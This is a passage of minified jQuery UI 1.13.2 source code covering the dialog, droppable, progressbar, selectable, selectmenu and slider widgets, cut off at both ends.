top"+(0<=i?"+":"")+i,of:n.window},n._removeClass(V(this),"ui-dialog-resizing"),n._unblockFrames(),n._trigger("resizeStop",t,a(e))}}).css("position",e)},_trackFocus:function(){this._on(this.widget(),{focusin:function(t){this._makeFocusTarget(),this._focusedElement=V(t.target)}})},_makeFocusTarget:function(){this._untrackInstance(),this._trackingInstances().unshift(this)},_untrackInstance:function(){var t=this._trackingInstances(),e=V.inArray(this,t);-1!==e&&t.splice(e,1)},_trackingInstances:function(){var t=this.document.data("ui-dialog-instances");return t||this.document.data("ui-dialog-instances",t=[]),t},_minHeight:function(){var t=this.options;return"auto"===t.height?t.minHeight:Math.min(t.minHeight,t.height)},_position:function(){var t=this.uiDialog.is(":visible");t||this.uiDialog.show(),this.uiDialog.position(this.options.position),t||this.uiDialog.hide()},_setOptions:function(t){var i=this,s=!1,n={};V.each(t,function(t,e){i._setOption(t,e),t in i.sizeRelatedOptions&&(s=!0),t in i.resizableRelatedOptions&&(n[t]=e)}),s&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",n)},_setOption:function(t,e){var i,s=this.uiDialog;"disabled"!==t&&(this._super(t,e),"appendTo"===t&&this.uiDialog.appendTo(this._appendTo()),"buttons"===t&&this._createButtons(),"closeText"===t&&this.uiDialogTitlebarClose.button({label:V("<a>").text(""+this.options.closeText).html()}),"draggable"===t&&((i=s.is(":data(ui-draggable)"))&&!e&&s.draggable("destroy"),!i&&e&&this._makeDraggable()),"position"===t&&this._position(),"resizable"===t&&((i=s.is(":data(ui-resizable)"))&&!e&&s.resizable("destroy"),i&&"string"==typeof e&&s.resizable("option","handles",e),i||!1===e||this._makeResizable()),"title"===t&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var t,e,i,s=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),s.minWidth>s.width&&(s.width=s.minWidth),t=this.uiDialog.css({height:"auto",width:s.width}).outerHeight(),e=Math.max(0,s.minHeight-t),i="number"==typeof s.maxHeight?Math.max(0,s.maxHeight-t):"none","auto"===s.height?this.element.css({minHeight:e,maxHeight:i,height:"auto"}):this.element.height(Math.max(0,s.height-t)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var t=V(this);return V("<div>").css({position:"absolute",width:t.outerWidth(),height:t.outerHeight()}).appendTo(t.parent()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(t){return!!V(t.target).closest(".ui-dialog").length||!!V(t.target).closest(".ui-datepicker").length},_createOverlay:function(){var i,s;this.options.modal&&(i=V.fn.jquery.substring(0,4),s=!0,this._delay(function(){s=!1}),this.document.data("ui-dialog-overlays")||this.document.on("focusin.ui-dialog",function(t){var e;s||((e=this._trackingInstances()[0])._allowInteraction(t)||(t.preventDefault(),e._focusTabbable(),"3.4."!==i&&"3.5."!==i||e._delay(e._restoreTabbableFocus)))}.bind(this)),this.overlay=V("<div>").appendTo(this._appendTo()),this._addClass(this.overlay,null,"ui-widget-overlay ui-front"),this._on(this.overlay,{mousedown:"_keepFocus"}),this.document.data("ui-dialog-overlays",(this.document.data("ui-dialog-overlays")||0)+1))},_destroyOverlay:function(){var t;this.options.modal&&this.overlay&&((t=this.document.data("ui-dialog-overlays")-1)?this.document.data("ui-dialog-overlays",t):(this.document.off("focusin.ui-dialog"),this.document.removeData("ui-dialog-overlays")),this.overlay.remove(),this.overlay=null)}}),!1!==V.uiBackCompat&&V.widget("ui.dialog",V.ui.dialog,{options:{dialogClass:""},_createWrapper:function(){this._super(),this.uiDialog.addClass(this.options.dialogClass)},_setOption:function(t,e){"dialogClass"===t&&this.uiDialog.removeClass(this.options.dialogClass).addClass(e),this._superApply(arguments)}});V.ui.dialog;function lt(t,e,i){return e<=t&&t<e+i}V.widget("ui.droppable",{version:"1.13.2",widgetEventPrefix:"drop",options:{accept:"*",addClasses:!0,greedy:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var t,e=this.options,i=e.accept;this.isover=!1,this.isout=!0,this.accept="function"==typeof i?i:function(t){return t.is(i)},this.proportions=function(){if(!arguments.length)return t=t||{width:this.element[0].offsetWidth,height:this.element[0].offsetHeight};t=arguments[0]},this._addToManager(e.scope),e.addClasses&&this._addClass("ui-droppable")},_addToManager:function(t){V.ui.ddmanager.droppables[t]=V.ui.ddmanager.droppables[t]||[],V.ui.ddmanager.droppables[t].push(this)},_splice:function(t){for(var e=0;e<t.length;e++)t[e]===this&&t.splice(e,1)},_destroy:function(){var t=V.ui.ddmanager.droppables[this.options.scope];this._splice(t)},_setOption:function(t,e){var i;"accept"===t?this.accept="function"==typeof e?e:function(t){return t.is(e)}:"scope"===t&&(i=V.ui.ddmanager.droppables[this.options.scope],this._splice(i),this._addToManager(e)),this._super(t,e)},_activate:function(t){var e=V.ui.ddmanager.current;this._addActiveClass(),e&&this._trigger("activate",t,this.ui(e))},_deactivate:function(t){var e=V.ui.ddmanager.current;this._removeActiveClass(),e&&this._trigger("deactivate",t,this.ui(e))},_over:function(t){var e=V.ui.ddmanager.current;e&&(e.currentItem||e.element)[0]!==this.element[0]&&this.accept.call(this.element[0],e.currentItem||e.element)&&(this._addHoverClass(),this._trigger("over",t,this.ui(e)))},_out:function(t){var e=V.ui.ddmanager.current;e&&(e.currentItem||e.element)[0]!==this.element[0]&&this.accept.call(this.element[0],e.currentItem||e.element)&&(this._removeHoverClass(),this._trigger("out",t,this.ui(e)))},_drop:function(e,t){var i=t||V.ui.ddmanager.current,s=!1;return!(!i||(i.currentItem||i.element)[0]===this.element[0])&&(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var t=V(this).droppable("instance");if(t.options.greedy&&!t.options.disabled&&t.options.scope===i.options.scope&&t.accept.call(t.element[0],i.currentItem||i.element)&&V.ui.intersect(i,V.extend(t,{offset:t.element.offset()}),t.options.tolerance,e))return!(s=!0)}),!s&&(!!this.accept.call(this.element[0],i.currentItem||i.element)&&(this._removeActiveClass(),this._removeHoverClass(),this._trigger("drop",e,this.ui(i)),this.element)))},ui:function(t){return{draggable:t.currentItem||t.element,helper:t.helper,position:t.position,offset:t.positionAbs}},_addHoverClass:function(){this._addClass("ui-droppable-hover")},_removeHoverClass:function(){this._removeClass("ui-droppable-hover")},_addActiveClass:function(){this._addClass("ui-droppable-active")},_removeActiveClass:function(){this._removeClass("ui-droppable-active")}}),V.ui.intersect=function(t,e,i,s){if(!e.offset)return!1;var n=(t.positionAbs||t.position.absolute).left+t.margins.left,o=(t.positionAbs||t.position.absolute).top+t.margins.top,a=n+t.helperProportions.width,r=o+t.helperProportions.height,l=e.offset.left,h=e.offset.top,c=l+e.proportions().width,u=h+e.proportions().height;switch(i){case"fit":return l<=n&&a<=c&&h<=o&&r<=u;case"intersect":return l<n+t.helperProportions.width/2&&a-t.helperProportions.width/2<c&&h<o+t.helperProportions.height/2&&r-t.helperProportions.height/2<u;case"pointer":return lt(s.pageY,h,e.proportions().height)&&lt(s.pageX,l,e.proportions().width);case"touch":return(h<=o&&o<=u||h<=r&&r<=u||o<h&&u<r)&&(l<=n&&n<=c||l<=a&&a<=c||n<l&&c<a);default:return!1}},!(V.ui.ddmanager={current:null,droppables:{default:[]},prepareOffsets:function(t,e){var i,s,n=V.ui.ddmanager.droppables[t.options.scope]||[],o=e?e.type:null,a=(t.currentItem||t.element).find(":data(ui-droppable)").addBack();t:for(i=0;i<n.length;i++)if(!(n[i].options.disabled||t&&!n[i].accept.call(n[i].element[0],t.currentItem||t.element))){for(s=0;s<a.length;s++)if(a[s]===n[i].element[0]){n[i].proportions().height=0;continue t}n[i].visible="none"!==n[i].element.css("display"),n[i].visible&&("mousedown"===o&&n[i]._activate.call(n[i],e),n[i].offset=n[i].element.offset(),n[i].proportions({width:n[i].element[0].offsetWidth,height:n[i].element[0].offsetHeight}))}},drop:function(t,e){var i=!1;return V.each((V.ui.ddmanager.droppables[t.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&V.ui.intersect(t,this,this.options.tolerance,e)&&(i=this._drop.call(this,e)||i),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,e)))}),i},dragStart:function(t,e){t.element.parentsUntil("body").on("scroll.droppable",function(){t.options.refreshPositions||V.ui.ddmanager.prepareOffsets(t,e)})},drag:function(n,o){n.options.refreshPositions&&V.ui.ddmanager.prepareOffsets(n,o),V.each(V.ui.ddmanager.droppables[n.options.scope]||[],function(){var t,e,i,s;this.options.disabled||this.greedyChild||!this.visible||(s=!(i=V.ui.intersect(n,this,this.options.tolerance,o))&&this.isover?"isout":i&&!this.isover?"isover":null)&&(this.options.greedy&&(e=this.options.scope,(i=this.element.parents(":data(ui-droppable)").filter(function(){return V(this).droppable("instance").options.scope===e})).length&&((t=V(i[0]).droppable("instance")).greedyChild="isover"===s)),t&&"isover"===s&&(t.isover=!1,t.isout=!0,t._out.call(t,o)),this[s]=!0,this["isout"===s?"isover":"isout"]=!1,this["isover"===s?"_over":"_out"].call(this,o),t&&"isout"===s&&(t.isout=!1,t.isover=!0,t._over.call(t,o)))})},dragStop:function(t,e){t.element.parentsUntil("body").off("scroll.droppable"),t.options.refreshPositions||V.ui.ddmanager.prepareOffsets(t,e)}})!==V.uiBackCompat&&V.widget("ui.droppable",V.ui.droppable,{options:{hoverClass:!1,activeClass:!1},_addActiveClass:function(){this._super(),this.options.activeClass&&this.element.addClass(this.options.activeClass)},_removeActiveClass:function(){this._super(),this.options.activeClass&&this.element.removeClass(this.options.activeClass)},_addHoverClass:function(){this._super(),this.options.hoverClass&&this.element.addClass(this.options.hoverClass)},_removeHoverClass:function(){this._super(),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass)}});V.ui.droppable,V.widget("ui.progressbar",{version:"1.13.2",options:{classes:{"ui-progressbar":"ui-corner-all","ui-progressbar-value":"ui-corner-left","ui-progressbar-complete":"ui-corner-right"},max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.attr({role:"progressbar","aria-valuemin":this.min}),this._addClass("ui-progressbar","ui-widget ui-widget-content"),this.valueDiv=V("<div>").appendTo(this.element),this._addClass(this.valueDiv,"ui-progressbar-value","ui-widget-header"),this._refreshValue()},_destroy:function(){this.element.removeAttr("role aria-valuemin aria-valuemax aria-valuenow"),this.valueDiv.remove()},value:function(t){if(void 0===t)return this.options.value;this.options.value=this._constrainedValue(t),this._refreshValue()},_constrainedValue:function(t){return void 0===t&&(t=this.options.value),this.indeterminate=!1===t,"number"!=typeof t&&(t=0),!this.indeterminate&&Math.min(this.options.max,Math.max(this.min,t))},_setOptions:function(t){var e=t.value;delete t.value,this._super(t),this.options.value=this._constrainedValue(e),this._refreshValue()},_setOption:function(t,e){"max"===t&&(e=Math.max(this.min,e)),this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t),this._toggleClass(null,"ui-state-disabled",!!t)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var t=this.options.value,e=this._percentage();this.valueDiv.toggle(this.indeterminate||t>this.min).width(e.toFixed(0)+"%"),this._toggleClass(this.valueDiv,"ui-progressbar-complete",null,t===this.options.max)._toggleClass("ui-progressbar-indeterminate",null,this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=V("<div>").appendTo(this.valueDiv),this._addClass(this.overlayDiv,"ui-progressbar-overlay"))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":t}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==t&&(this.oldValue=t,this._trigger("change")),t===this.options.max&&this._trigger("complete")}}),V.widget("ui.selectable",V.ui.mouse,{version:"1.13.2",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var i=this;this._addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){i.elementPos=V(i.element[0]).offset(),i.selectees=V(i.options.filter,i.element[0]),i._addClass(i.selectees,"ui-selectee"),i.selectees.each(function(){var t=V(this),e=t.offset(),e={left:e.left-i.elementPos.left,top:e.top-i.elementPos.top};V.data(this,"selectable-item",{element:this,$element:t,left:e.left,top:e.top,right:e.left+t.outerWidth(),bottom:e.top+t.outerHeight(),startselected:!1,selected:t.hasClass("ui-selected"),selecting:t.hasClass("ui-selecting"),unselecting:t.hasClass("ui-unselecting")})})},this.refresh(),this._mouseInit(),this.helper=V("<div>"),this._addClass(this.helper,"ui-selectable-helper")},_destroy:function(){this.selectees.removeData("selectable-item"),this._mouseDestroy()},_mouseStart:function(i){var s=this,t=this.options;this.opos=[i.pageX,i.pageY],this.elementPos=V(this.element[0]).offset(),this.options.disabled||(this.selectees=V(t.filter,this.element[0]),this._trigger("start",i),V(t.appendTo).append(this.helper),this.helper.css({left:i.pageX,top:i.pageY,width:0,height:0}),t.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var t=V.data(this,"selectable-item");t.startselected=!0,i.metaKey||i.ctrlKey||(s._removeClass(t.$element,"ui-selected"),t.selected=!1,s._addClass(t.$element,"ui-unselecting"),t.unselecting=!0,s._trigger("unselecting",i,{unselecting:t.element}))}),V(i.target).parents().addBack().each(function(){var t,e=V.data(this,"selectable-item");if(e)return t=!i.metaKey&&!i.ctrlKey||!e.$element.hasClass("ui-selected"),s._removeClass(e.$element,t?"ui-unselecting":"ui-selected")._addClass(e.$element,t?"ui-selecting":"ui-unselecting"),e.unselecting=!t,e.selecting=t,(e.selected=t)?s._trigger("selecting",i,{selecting:e.element}):s._trigger("unselecting",i,{unselecting:e.element}),!1}))},_mouseDrag:function(s){if(this.dragged=!0,!this.options.disabled){var t,n=this,o=this.options,a=this.opos[0],r=this.opos[1],l=s.pageX,h=s.pageY;return l<a&&(t=l,l=a,a=t),h<r&&(t=h,h=r,r=t),this.helper.css({left:a,top:r,width:l-a,height:h-r}),this.selectees.each(function(){var t=V.data(this,"selectable-item"),e=!1,i={};t&&t.element!==n.element[0]&&(i.left=t.left+n.elementPos.left,i.right=t.right+n.elementPos.left,i.top=t.top+n.elementPos.top,i.bottom=t.bottom+n.elementPos.top,"touch"===o.tolerance?e=!(i.left>l||i.right<a||i.top>h||i.bottom<r):"fit"===o.tolerance&&(e=i.left>a&&i.right<l&&i.top>r&&i.bottom<h),e?(t.selected&&(n._removeClass(t.$element,"ui-selected"),t.selected=!1),t.unselecting&&(n._removeClass(t.$element,"ui-unselecting"),t.unselecting=!1),t.selecting||(n._addClass(t.$element,"ui-selecting"),t.selecting=!0,n._trigger("selecting",s,{selecting:t.element}))):(t.selecting&&((s.metaKey||s.ctrlKey)&&t.startselected?(n._removeClass(t.$element,"ui-selecting"),t.selecting=!1,n._addClass(t.$element,"ui-selected"),t.selected=!0):(n._removeClass(t.$element,"ui-selecting"),t.selecting=!1,t.startselected&&(n._addClass(t.$element,"ui-unselecting"),t.unselecting=!0),n._trigger("unselecting",s,{unselecting:t.element}))),t.selected&&(s.metaKey||s.ctrlKey||t.startselected||(n._removeClass(t.$element,"ui-selected"),t.selected=!1,n._addClass(t.$element,"ui-unselecting"),t.unselecting=!0,n._trigger("unselecting",s,{unselecting:t.element})))))}),!1}},_mouseStop:function(e){var i=this;return this.dragged=!1,V(".ui-unselecting",this.element[0]).each(function(){var t=V.data(this,"selectable-item");i._removeClass(t.$element,"ui-unselecting"),t.unselecting=!1,t.startselected=!1,i._trigger("unselected",e,{unselected:t.element})}),V(".ui-selecting",this.element[0]).each(function(){var t=V.data(this,"selectable-item");i._removeClass(t.$element,"ui-selecting")._addClass(t.$element,"ui-selected"),t.selecting=!1,t.selected=!0,t.startselected=!0,i._trigger("selected",e,{selected:t.element})}),this._trigger("stop",e),this.helper.remove(),!1}}),V.widget("ui.selectmenu",[V.ui.formResetMixin,{version:"1.13.2",defaultElement:"<select>",options:{appendTo:null,classes:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"},disabled:null,icons:{button:"ui-icon-triangle-1-s"},position:{my:"left top",at:"left bottom",collision:"none"},width:!1,change:null,close:null,focus:null,open:null,select:null},_create:function(){var t=this.element.uniqueId().attr("id");this.ids={element:t,button:t+"-button",menu:t+"-menu"},this._drawButton(),this._drawMenu(),this._bindFormResetHandler(),this._rendered=!1,this.menuItems=V()},_drawButton:function(){var t,e=this,i=this._parseOption(this.element.find("option:selected"),this.element[0].selectedIndex);this.labels=this.element.labels().attr("for",this.ids.button),this._on(this.labels,{click:function(t){this.button.trigger("focus"),t.preventDefault()}}),this.element.hide(),this.button=V("<span>",{tabindex:this.options.disabled?-1:0,id:this.ids.button,role:"combobox","aria-expanded":"false","aria-autocomplete":"list","aria-owns":this.ids.menu,"aria-haspopup":"true",title:this.element.attr("title")}).insertAfter(this.element),this._addClass(this.button,"ui-selectmenu-button ui-selectmenu-button-closed","ui-button ui-widget"),t=V("<span>").appendTo(this.button),this._addClass(t,"ui-selectmenu-icon","ui-icon "+this.options.icons.button),this.buttonItem=this._renderButtonItem(i).appendTo(this.button),!1!==this.options.width&&this._resizeButton(),this._on(this.button,this._buttonEvents),this.button.one("focusin",function(){e._rendered||e._refreshMenu()})},_drawMenu:function(){var i=this;this.menu=V("<ul>",{"aria-hidden":"true","aria-labelledby":this.ids.button,id:this.ids.menu}),this.menuWrap=V("<div>").append(this.menu),this._addClass(this.menuWrap,"ui-selectmenu-menu","ui-front"),this.menuWrap.appendTo(this._appendTo()),this.menuInstance=this.menu.menu({classes:{"ui-menu":"ui-corner-bottom"},role:"listbox",select:function(t,e){t.preventDefault(),i._setSelection(),i._select(e.item.data("ui-selectmenu-item"),t)},focus:function(t,e){e=e.item.data("ui-selectmenu-item");null!=i.focusIndex&&e.index!==i.focusIndex&&(i._trigger("focus",t,{item:e}),i.isOpen||i._select(e,t)),i.focusIndex=e.index,i.button.attr("aria-activedescendant",i.menuItems.eq(e.index).attr("id"))}}).menu("instance"),this.menuInstance._off(this.menu,"mouseleave"),this.menuInstance._closeOnDocumentClick=function(){return!1},this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu(),this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(this._getSelectedItem().data("ui-selectmenu-item")||{})),null===this.options.width&&this._resizeButton()},_refreshMenu:function(){var t=this.element.find("option");this.menu.empty(),this._parseOptions(t),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find("li").not(".ui-selectmenu-optgroup").find(".ui-menu-item-wrapper"),this._rendered=!0,t.length&&(t=this._getSelectedItem(),this.menuInstance.focus(null,t),this._setAria(t.data("ui-selectmenu-item")),this._setOption("disabled",this.element.prop("disabled")))},open:function(t){this.options.disabled||(this._rendered?(this._removeClass(this.menu.find(".ui-state-active"),null,"ui-state-active"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.menuItems.length&&(this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger("open",t)))},_position:function(){this.menuWrap.position(V.extend({of:this.button},this.options.position))},close:function(t){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger("close",t))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderButtonItem:function(t){var e=V("<span>");return this._setText(e,t.label),this._addClass(e,"ui-selectmenu-text"),e},_renderMenu:function(s,t){var n=this,o="";V.each(t,function(t,e){var i;e.optgroup!==o&&(i=V("<li>",{text:e.optgroup}),n._addClass(i,"ui-selectmenu-optgroup","ui-menu-divider"+(e.element.parent("optgroup").prop("disabled")?" ui-state-disabled":"")),i.appendTo(s),o=e.optgroup),n._renderItemData(s,e)})},_renderItemData:function(t,e){return this._renderItem(t,e).data("ui-selectmenu-item",e)},_renderItem:function(t,e){var i=V("<li>"),s=V("<div>",{title:e.element.attr("title")});return e.disabled&&this._addClass(i,null,"ui-state-disabled"),this._setText(s,e.label),i.append(s).appendTo(t)},_setText:function(t,e){e?t.text(e):t.html("&#160;")},_move:function(t,e){var i,s=".ui-menu-item";this.isOpen?i=this.menuItems.eq(this.focusIndex).parent("li"):(i=this.menuItems.eq(this.element[0].selectedIndex).parent("li"),s+=":not(.ui-state-disabled)"),(s="first"===t||"last"===t?i["first"===t?"prevAll":"nextAll"](s).eq(-1):i[t+"All"](s).eq(0)).length&&this.menuInstance.focus(e,s)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex).parent("li")},_toggle:function(t){this[this.isOpen?"close":"open"](t)},_setSelection:function(){var t;this.range&&(window.getSelection?((t=window.getSelection()).removeAllRanges(),t.addRange(this.range)):this.range.select(),this.button.trigger("focus"))},_documentClick:{mousedown:function(t){this.isOpen&&(V(t.target).closest(".ui-selectmenu-menu, #"+V.escapeSelector(this.ids.button)).length||this.close(t))}},_buttonEvents:{mousedown:function(){var t;window.getSelection?(t=window.getSelection()).rangeCount&&(this.range=t.getRangeAt(0)):this.range=document.selection.createRange()},click:function(t){this._setSelection(),this._toggle(t)},keydown:function(t){var e=!0;switch(t.keyCode){case V.ui.keyCode.TAB:case V.ui.keyCode.ESCAPE:this.close(t),e=!1;break;case V.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(t);break;case V.ui.keyCode.UP:t.altKey?this._toggle(t):this._move("prev",t);break;case V.ui.keyCode.DOWN:t.altKey?this._toggle(t):this._move("next",t);break;case V.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(t):this._toggle(t);break;case V.ui.keyCode.LEFT:this._move("prev",t);break;case V.ui.keyCode.RIGHT:this._move("next",t);break;case V.ui.keyCode.HOME:case V.ui.keyCode.PAGE_UP:this._move("first",t);break;case V.ui.keyCode.END:case V.ui.keyCode.PAGE_DOWN:this._move("last",t);break;default:this.menu.trigger(t),e=!1}e&&t.preventDefault()}},_selectFocusedItem:function(t){var e=this.menuItems.eq(this.focusIndex).parent("li");e.hasClass("ui-state-disabled")||this._select(e.data("ui-selectmenu-item"),t)},_select:function(t,e){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=t.index,this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(t)),this._setAria(t),this._trigger("select",e,{item:t}),t.index!==i&&this._trigger("change",e,{item:t}),this.close(e)},_setAria:function(t){t=this.menuItems.eq(t.index).attr("id");this.button.attr({"aria-labelledby":t,"aria-activedescendant":t}),this.menu.attr("aria-activedescendant",t)},_setOption:function(t,e){var i;"icons"===t&&(i=this.button.find("span.ui-icon"),this._removeClass(i,null,this.options.icons.button)._addClass(i,null,e.button)),this._super(t,e),"appendTo"===t&&this.menuWrap.appendTo(this._appendTo()),"width"===t&&this._resizeButton()},_setOptionDisabled:function(t){this._super(t),this.menuInstance.option("disabled",t),this.button.attr("aria-disabled",t),this._toggleClass(this.button,null,"ui-state-disabled",t),this.element.prop("disabled",t),t?(this.button.attr("tabindex",-1),this.close()):this.button.attr("tabindex",0)},_appendTo:function(){var t=this.options.appendTo;return t=!(t=!(t=t&&(t.jquery||t.nodeType?V(t):this.document.find(t).eq(0)))||!t[0]?this.element.closest(".ui-front, dialog"):t).length?this.document[0].body:t},_toggleAttr:function(){this.button.attr("aria-expanded",this.isOpen),this._removeClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"closed":"open"))._addClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"open":"closed"))._toggleClass(this.menuWrap,"ui-selectmenu-open",null,this.isOpen),this.menu.attr("aria-hidden",!this.isOpen)},_resizeButton:function(){var t=this.options.width;!1!==t?(null===t&&(t=this.element.show().outerWidth(),this.element.hide()),this.button.outerWidth(t)):this.button.css("width","")},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width("").outerWidth()+1))},_getCreateOptions:function(){var t=this._super();return t.disabled=this.element.prop("disabled"),t},_parseOptions:function(t){var i=this,s=[];t.each(function(t,e){e.hidden||s.push(i._parseOption(V(e),t))}),this.items=s},_parseOption:function(t,e){var i=t.parent("optgroup");return{element:t,index:e,value:t.val(),label:t.text(),optgroup:i.attr("label")||"",disabled:i.prop("disabled")||t.prop("disabled")}},_destroy:function(){this._unbindFormResetHandler(),this.menuWrap.remove(),this.button.remove(),this.element.show(),this.element.removeUniqueId(),this.labels.attr("for",this.ids.element)}}]),V.widget("ui.slider",V.ui.mouse,{version:"1.13.2",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider ui-slider-"+this.orientation,"ui-widget ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var t,e=this.options,i=this.element.find(".ui-slider-handle"),s=[],n=e.values&&e.values.length||1;for(i.length>n&&(i.slice(n).remove(),i=i.slice(0,n)),t=i.length;t<n;t++)s.push("<span tabindex='0'></span>");this.handles=i.add(V(s.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(t){V(this).data("ui-slider-handle-index",t).attr("tabIndex",0)})},_createRange:function(){var t=this.options;t.range?(!0===t.range&&(t.values?t.values.length&&2!==t.values.length?t.values=[t.values[0],t.values[0]]:Array.isArray(t.values)&&(t.values=t.values.slice(0)):t.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=V("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),"min"!==t.range&&"max"!==t.range||this._addClass(this.range,"ui-slider-range-"+t.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(t){var i,s,n,o,e,a,r=this,l=this.options;return!l.disabled&&(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),a={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(a),s=this._valueMax()-this._valueMin()+1,this.handles.each(function(t){var e=Math.abs(i-r.values(t));(e<s||s===e&&(t===r._lastChangedValue||r.values(t)===l.min))&&(s=e,n=V(this),o=t)}),!1!==this._start(t,o)&&(this._mouseSliding=!0,this._handleIndex=o,this._addClass(n,null,"ui-state-active"),n.trigger("focus"),e=n.offset(),a=!V(t.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=a?{left:0,top:0}:{left:t.pageX-e.left-n.width()/2,top:t.pageY-e.top-n.height()/2-(parseInt(n.css("borderTopWidth"),10)||0)-(parseInt(n.css("borderBottomWidth"),10)||0)+(parseInt(n.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(t,o,i),this._animateOff=!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var e={x:t.pageX,y:t.pageY},e=this._normValueFromMouse(e);return this._slide(t,this._handleIndex,e),!1},_mouseStop:function(t){return this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var e,t="horizontal"===this.orientation?(e=this.elementSize.width,t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),t=t/e;return(t=1<t?1:t)<0&&(t=0),"vertical"===this.orientation&&(t=1-t),e=this._valueMax()-this._valueMin(),e=this._valueMin()+t*e,this._trimAlignValue(e)},_uiHash:function(t,e,i){var s={handle:this.handles[t],handleIndex:t,value:void 0!==e?e:this.value()};return this._hasMultipleValues()&&(s.value=void 0!==e?e:this.values(t),s.values=i||this.values()),s},_hasMultipleValues:function(){return this.options.values&&this.options.values.length},_start:function(t,e){return this._trigger("start",t,this._uiHash(e))},_slide:function(t,e,i){var s,n=this.value(),o=this.values();this._hasMultipleValues()&&(s=this.values(e?0:1),n=this.values(e),2===this.options.values.length&&!0===this.options.range&&(i=0===e?Math.min(s,i):Math.max(s,i)),o[e]=i),i!==n&&!1!==this._trigger("slide",t,this._uiHash(e,i,o))&&(this._hasMultipleValues()?this.values(e,i):this.value(i))},_stop:function(t,e){this._trigger("stop",t,this._uiHash(e))},_change:function(t,e){this._keySliding||this._mouseSliding||(this._lastChangedValue=e,this._trigger("change",t,this._uiHash(e)))},value:function(t){return arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),void this._change(null,0)):this._value()},values:function(t,e){var i,s,n;if(1<arguments.length)return this.options.values[t]=this._trimAlignValue(e),this._refreshValue(),void this._change(null,t);if(!arguments.length)return this._values();if(!Array.isArray(t))return 